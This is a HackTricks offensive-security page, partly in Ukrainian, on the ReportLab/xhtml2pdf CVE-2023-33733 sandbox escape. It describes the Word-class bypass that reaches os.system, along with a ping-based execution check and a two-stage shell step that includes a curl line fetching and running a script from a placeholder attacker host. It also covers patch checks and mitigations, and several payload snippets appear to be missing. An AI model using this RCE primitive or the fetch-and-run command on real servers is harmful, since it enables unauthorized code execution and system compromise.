ReportLab/xhtml2pdf [[[…]]] expression-evaluation RCE (CVE-2023-33733)
Tip
Вивчайте та практикуйте AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Вивчайте та практикуйте GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
Вивчайте та практикуйте Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Підтримайте HackTricks
- Перевірте плани підписки!
- Приєднуйтесь до 💬 групи Discord або групи telegram або слідкуйте за нами в Twitter 🐦 @hacktricks_live.
- Діліться хакерськими трюками, надсилаючи PR до HackTricks та HackTricks Cloud репозиторіїв на github.
Ця сторінка документує практичний обхід sandbox та примітив RCE в rl_safe_eval від ReportLab, який використовується xhtml2pdf та іншими PDF-генераторами при рендерингу керованого користувачем HTML у PDF.
CVE-2023-33733 впливає на ReportLab версій до і включно 3.6.12. У певних контекстах атрибутів (наприклад, color) значення, укладені в потрійні дужки [[[ … ]]], оцінюються на боці сервера за допомогою rl_safe_eval. Шляхом створення payload, який відхиляється від дозволеної вбудованої функції (pow) до її Python globals, атакуючий може дістатися до модуля os і виконати команди.
Key points
- Trigger: inject [[[ … ]]] into evaluated attributes such as within markup parsed by ReportLab/xhtml2pdf.
- Sandbox: rl_safe_eval replaces dangerous builtins but evaluated functions still expose globals.
- Bypass: craft a transient class Word to bypass rl_safe_eval name checks and access the string “globals” while avoiding blocked dunder filtering.
- RCE:
getattr(pow, Word('__globals__'))['os'].system('<cmd>') - Stability: Return a valid value for the attribute after execution (for color, use and ‘red’).
When to test
- Applications that expose HTML-to-PDF export (profiles, invoices, reports) and show xhtml2pdf/ReportLab in PDF metadata or HTTP response comments.
- exiftool profile.pdf | egrep ‘Producer|Title|Creator’ → “xhtml2pdf” producer
- HTTP response for PDF often starts with a ReportLab generator comment
How the sandbox bypass works
- rl_safe_eval removes or replaces many builtins (getattr, type, pow, …) and applies name filtering to deny attributes starting with __ or in a denylist.
- However, safe functions live in a globals dictionary accessible as func.globals.
- Use type(type(1)) to recover the real builtin type function (bypassing ReportLab’s wrapper), then define a Word class derived from str with mutated comparison behavior so that:
- .startswith(‘’) → always False (bypass name startswith(‘’) check)
- .eq returns False only at first comparison (bypass denylist membership checks) and True afterwards (so Python getattr works)
- .hash equals hash(str(self))
- With this, getattr(pow, Word(‘globals’)) returns the globals dict of the wrapped pow function, which includes an imported os module. Then:
['os'].system('<cmd>').
Minimal exploitation pattern (attribute example) Place payload inside an evaluated attribute and ensure it returns a valid attribute value via boolean and ‘red’.
- The list-comprehension form allows a single expression acceptable to rl_safe_eval.
- The trailing and ‘red’ returns a valid CSS color so the rendering doesn’t break.
- Replace the command as needed; use ping to validate execution with tcpdump.
Operational workflow
- Identify PDF generator
- PDF Producer shows xhtml2pdf; HTTP response contains ReportLab comment.
- Find an input reflected into the PDF (e.g., profile bio/description) and trigger an export.
- Verify execution with low-noise ICMP
- Run:
sudo tcpdump -ni <iface> icmp - Payload: …
system('ping <your_ip>')… - Windows often sends exactly four echo requests by default.
- Establish a shell
- For Windows, a reliable two-stage approach avoids quoting/encoding issues:
- Stage 1 (download):
- Stage 2 (execute):
- For Linux targets, similar two-stage with curl/wget is possible:
- system(‘curl http://ATTACKER/s.sh -o /tmp/s; sh /tmp/s’)
Notes and tips
- Attribute contexts: color is a known evaluated attribute; other attributes in ReportLab markup may also evaluate expressions. If one location is sanitized, try others rendered into the PDF flow (different fields, table styles, etc.).
- Quoting: Keep commands compact. Two-stage downloads drastically reduce quoting and escaping headaches.
- Reliability: If exports are cached or queued, slightly vary the payload (e.g., random path or query) to avoid hitting caches.
Patch status (2024–2025) and identifying backports
- 3.6.13 (27 Apr 2023) rewrote
colors.toColorto an AST-walk parser; newer 4.x releases keep this path. Forcingrl_settings.toColorCanUsetorl_safe_evalorrl_extended_literal_evalre-enables the vulnerable evaluator even on current versions. - Several distributions ship backported fixes while keeping version numbers such as 3.6.12-1+deb12u1; do not rely on the semantic version alone. Grep
colors.pyforast.parseor inspecttoColorat runtime to confirm the safe parser is in use (see quick check below). - Quick local check to see whether the AST-based fix is present:
python - <<'PY'
import inspect
from reportlab.lib import colors
src = inspect.getsource(colors.toColor)
print('AST-based toColor' if 'ast.parse' in src else 'rl_safe_eval still reachable')
PY
Заходи пом’якшення та виявлення
- Оновіть ReportLab до 3.6.13 або новішої версії (CVE-2023-33733 виправлено). Також відстежуйте advisories безпеки в пакетах дистрибутиву.
- Не передавайте керований користувачем HTML/markup без суворої санітизації безпосередньо в xhtml2pdf/ReportLab. Видаляйте/забороняйте [[[…]]] конструкції оцінювання та теги, специфічні для вендора, коли ввід ненадійний.
- Розгляньте можливість повного відключення або обгортання використання rl_safe_eval для ненадійних вхідних даних.
- Моніторьте підозрілі вихідні з’єднання під час генерації PDF (наприклад, ICMP/HTTP від серверів додатків під час експорту документів).
References
- PoC and technical analysis: c53elyas/CVE-2023-33733
- 0xdf University HTB write-up (real-world exploitation, Windows two-stage payloads): HTB: University
- NVD entry (affected versions): CVE-2023-33733
- xhtml2pdf docs (markup/page concepts): xhtml2pdf docs
- ReportLab 3.6.13 release notes (AST rewrite of toColor): What’s New in 3.6.13
- Debian security tracker showing backported fixes with unchanged minor versions: Debian tracker CVE-2023-33733
Tip
Вивчайте та практикуйте AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Вивчайте та практикуйте GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
Вивчайте та практикуйте Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Підтримайте HackTricks
- Перевірте плани підписки!
- Приєднуйтесь до 💬 групи Discord або групи telegram або слідкуйте за нами в Twitter 🐦 @hacktricks_live.
- Діліться хакерськими трюками, надсилаючи PR до HackTricks та HackTricks Cloud репозиторіїв на github.


